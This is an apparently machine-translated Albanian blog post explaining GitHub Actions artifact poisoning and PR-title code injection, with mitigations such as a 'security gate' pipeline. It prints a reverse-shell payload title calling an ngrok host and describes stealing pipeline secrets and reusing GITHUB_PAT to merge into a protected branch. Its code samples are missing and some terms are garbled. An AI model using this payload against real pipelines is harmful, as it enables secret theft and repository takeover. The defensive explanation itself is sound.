Në postimet e mëparshme (shih Helmim indirekt Pipeline Ekzekutimi I-PPE helmuar Pipeline Pajisjet mbrojtëse personale për ekzekutim , ne u morëm në thelb me PPE (të helmuara Pipeline Ekzekutimi): pamë se si funksionon, efektet e tij, disa shfrytëzime si dhe disa mënyra për t'u mbrojtur prej tij.
Ky postim zhytet thellë në disa të tjera CI/CD pipeline dobësi të tilla si Helmimi me Artifakte dhe Injektimi i Kodit.
Për ta bërë këtë, do ta bazojmë disi në PPE, kështu që le të bëjmë një përmbledhje të shpejtë të asaj që pamë rreth PPE-ve.
Puna e mëparshme në PPE
Për të përmbledhur, filluam me një GitHub bazë pipeline për të ndërtuar dhe testuar kodin e kontribuar përmes një pull requestPërveç kësaj, përcakton disa kontrolle që, nëse përmbushen, do ta bashkojnë kodin në degën kryesore. Ne e emërtuam këtë si Skenari #1.
Në postimin tonë të mëparshëm, ne demonstruam se si kjo bazë pipeline ishte i prekshëm ndaj D-PPE dhe I-PPE.
Ne arritëm të rregulloni D-PPE by modifikimi i ngjarjes shkaktuese nga tërheq_kërkesën në tërheq_kërkesën_e_targetit, duke e bërë pipeline i sigurt për D-PPESi kujtesë, pipelines i aktivizuar në një ngjarje pull_request_target do të ekzekutojë bazën pipeline kod, jo pipeline kodi i përfshirë në pull request.
Ne e quajtëm këtë si Skenari #2.
Si rezultat i këtij modifikimi, ne treguam se Skenari #2 ishte ende i ndjeshëm ndaj I-PPE.
Për ta rregulluar, vendosëm për të ndarë pipeline në dy:
- I pari pipeline (Ndërto CI) do kontrolloni kodin PR (për ta ndërtuar atë), bëj ndërtimin dhe gjenero një artefakt.
- 2nd pipeline (Testi CI) do kontrolloni kodin bazë (për të shmangur modifikimin e skriptit të shell-it) dhe ekzekutoni skriptet origjinale kundër objektit.
- Për të sinkronizuar Test CI pipeline për të ekzekutuar PAS Build CI pipeline, ne do të përdorim rrjedha_e_punës shkas
Ne e quajtëm këtë si Skenari #3.
Le të rikuperojmë kodin e të dyjave pipelinesipas këtyre modifikimeve…
1st pipeline (Ndërtimi i CI-së):
2nd pipeline (Testi CI):
Helmimi nga Artefaktet
Sipas sa më sipër CI/CD pipelines:
- pipeline Ndërto CI is i sigurt për të dyja D-PPE (për shkak të tërheq_kërkesën_e_targetit), dhe I-PPE (sepse nuk e ekzekuton më skriptin shell).
- pipeline Testi CI është gjithashtu i sigurt për të dyja D-PPE (për shkak të rrjedha_e_punës), dhe I-PPE (sepse kontrollon kodin bazë për të marrë skriptin origjinal të shell-it)
Le të zhytemi thellë në këtë "zgjidhje".
Pipeline Testi CI shkarkon objektin si skedar zip.
Pasi të hapet zinxhiri, ekzekuton skriptin shell "të sigurt". Pse them skripti shell "i sigurt"? Sepse në një hap të mëparshëm, pipeline kontrollon kodin "bazë", kështu që skripti origjinal vendoset në dosjen e hapësirës së punës. Prandaj, kur pipeline Ekzekuton skriptin shell që do të ekzekutojë duke përdorur skedarin binar të shkarkuar më parë.
Atëherë, çfarë është problem me këtë qasje? Problemi vjen kur ndonjë përdorues "krijon" një të re pipeline.
Nëse një përdorues hap një PR që përmban një të re pipeline, GitHub do ta ekzekutojë atë pipeline (duke pasur parasysh disa kushte, siç e pamë në pjesën e mëparshme) post).
Duke pasur parasysh këtë, Po sikur përdoruesi të krijojë një të re? pipeline me të njëjtin emër si Build CI? Po, është për t'u habitur, por GitHub ju lejon të krijoni dy pipelineme të njëjtin emër!!
Mos harroni se Test CI do të ekzekutohet pas Ndërtimit CI…
Çuditërisht, sepse tani ka dy pipelines me të njëjtin emër, të pipeline Testi CI do të ekzekutohet dy herë: një pas origjinalit pipeline dhe të tjera pas "të resë" pipeline.
Si mund ta shfrytëzojë hakeri këtë?
- Së pari, përdoruesi keqdashës mund të modifikojë skriptin e shell-it për të dërguar sekretin në serverin e kontrolluar nga hakerët.
- Së dyti, e reja pipeline përfshin një rresht për të kopjuar skriptin e modifikuar të shell-it në objekt → helmimi i artifavect!!!
Kur përdoruesi hap një PR me këto ndryshime, "e reja" pipeline do të ekzekutohet (duke ngarkuar një objekt të helmuar) dhe Deploy CI pipeline do të ekzekutohet pas kësaj, duke rezultuar në skripti shell "i modifikuar" mbishkruan skriptin shell "origjinal" të vendosur në pipeline hapësira e punës.
Kjo është ajo që ne e quajmë Helmimi nga Artefaktet, dmth. aftësia për të modifikuar (hakuar) pipeline logjikë përmes modifikimit të një pipeline Objekti.
Një e mundur sanimi është mjaft e drejtpërdrejtë: Vetëm çkompresimi i artifaktit në një nën-dosje të hapësirës së punës do të shmangte mbishkrimin e skriptit të shell-it "bazë"..
Injeksioni i kodit
Përveç helmimit nga artefaktet, a mund të shihni ndonjë dobësi tjetër në kodin e mësipërm?
Le të shkojmë!!
Siç mund ta shihni në kod, pipeline Build CI ndërton skedarin binar, ai ngarkon skedarin binar si një pipeline artefakt dhe, përveç kësaj, ngarkon disa të dhëna shtesë: Titullin e PR dhe ID-në e PR.
Pse? Sepse për të bashkuar PR-në, siç mund ta shihni më poshtë, Test CI pipeline ka nevojë për id-në PR për të thirrur API-n GitHub REST që bashkon PR-në.
Si funksionon Testi CI pipeline të marrësh atë ID PR? Ndarja e informacionit në skedarë teksti (pjesë e një pipeline artefakt) është një mënyrë e zakonshme për të ndarë informacion midis pipelines. Dhe kjo është pikërisht ajo që këto pipelinepo bëjnë.
Në mënyrë të rreptë, vetëm ID-ja PR është e nevojshme për të bashkuar PR-në, por pipeline administratori vendosi që Ndërtimi i CI të përfshijë edhe titullin PR, kështu që Testi i CI pipeline do të printonte një mesazh informacioni që përmbante si ID-në e PR-së ashtu edhe Titullin.
Titulli i PR është gjithmonë të dhëna që vijnë nga përdoruesi dhe, si i tillë, duhet të konsiderohet gjithmonë si i pabesueshëm.. Kështu pipeline duhet të trajtohet si i tillë dhe të marrë masa mbrojtëse.
Në kodin e mësipërm, mund të shohim mesazhin specifik që i bën jehonë Titullit të PR. Është thjesht një komandë “echo” në Linux.
Përmes interpolimit të vargjeve, nëse titulli është "një titull i rremë", Github gjeneron në mënyrë të brendshme një skript që përmban
Po sikur titulli i PR-it të ishte diçka si kjo:
Titull keqdashës” && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo "Skenari do të bëhej:
Duke rezultuar në hapjen e një shell të kundërt kundër serverit të kontrolluar nga hakerët.
Ajo shell e kundërt mund të përdoret për të aksesuar pipeline sekretet (mbani mend se Test CI po funksionon në modalitetin e privilegjeve sepse po aktivizohet nga workflow_run, kështu që ka qasje në sekrete).
Por, çfarë tjetër mund të bëhet përmes asaj shell-i të kundërt?
Shikoni kodin e testit CI:
Siç mund ta shihni në Test CI pipeline, komanda e bashkimit curl po përdor GITHUB_PAT (e përcaktuar si një pipeline env var), kështu që ekzekutuesi përmban GITHUB_PAT si një ndryshore mjedisi. Për më tepër, ai krijon gjithashtu një env var që lexon ID-në PR.
Pra, hakeri thjesht duhet të kopjojë komandën curl dhe ta ngjisë atë në reverse shell, duke bashkuar PR direkt në degën e mbrojtur.
Për t'u mbrojtur nga e gjithë kjo:
- në shmangur interpolimi i vargjeve me të dhëna të pabesueshme (i prekshëm ndaj injektimi i kodit) nga përcaktimin pipeline variantet e env në vend që ta përdorësh direkt në komandat e jehonës
Në vend të përdorimit:
Përdor këtë:
- Edhe me shfrytëzimin e injektimit të kodit, komanda e bashkimit curl nuk do të kishte pasur sukses nëse do ta kishit kryer siç duhet. mbrojti tëndin pull requests përmes një shqyrtimi ose miratimi të detyrueshëm.
Konkluzione
Është disi e vështirë të mbrohesh CI/CD pipelinekonfigurimi i s dhe marrja pipelineështë i lirë nga dobësitë.
Kjo nuk do të thotë se CI/CD Sistemet (si GitHub në këtë rast) janë të cenueshme në vetvete. CI/CD Sistemet ofrojnë mjetet për t'u mbrojtur nga dobësitë... por është përgjegjësi e administratorit të zbatojë këto mbrojtje.
Por ... Nuk mund ta zgjidhësh një dobësi nëse nuk je i vetëdijshëm për ekzistencën e saj!!!
Sigurisht që një administrator devops shumë i aftë mund t'i ketë parasysh të gjitha këto kërcënime dhe t'i mbrojë siç duhet. CI/CD pipelines, por, megjithatë, është shumë e vlefshme të përdoret një produkt për të zbuluar të gjitha këto lloje dobësish. Dhe sigurisht për të automatizuar këtë proces të ndalimit të dobësive (për shembull, duke ekzekutuar skanimin si pjesë e CI/CD pipelines).
Kjo qasje mund të quhet ""Porta e Sigurisë”:
- Krijo një të re pipeline (Porta e Sigurisë) për të kontrolluar CI/CD pipelinedobësitë dhe bëjnë që CI-të e tjera pipelinepër t'u ekzekutuar vetëm pas përfundimit me sukses të Portës së Sigurisë pipeline.
- Porta e Sigurisë pipelines do të kontrollojë për CI/CD pipelinedobësitë e s dhe,
- Nëse gjenden dobësi, do të dështojë dhe, për këtë arsye, tjetra pipelines nuk do të ekzekutohet.
- Nëse nuk gjenden dobësi, pipeline do të ketë sukses dhe tjetri pipelines do të ekzekutohet si zakonisht.
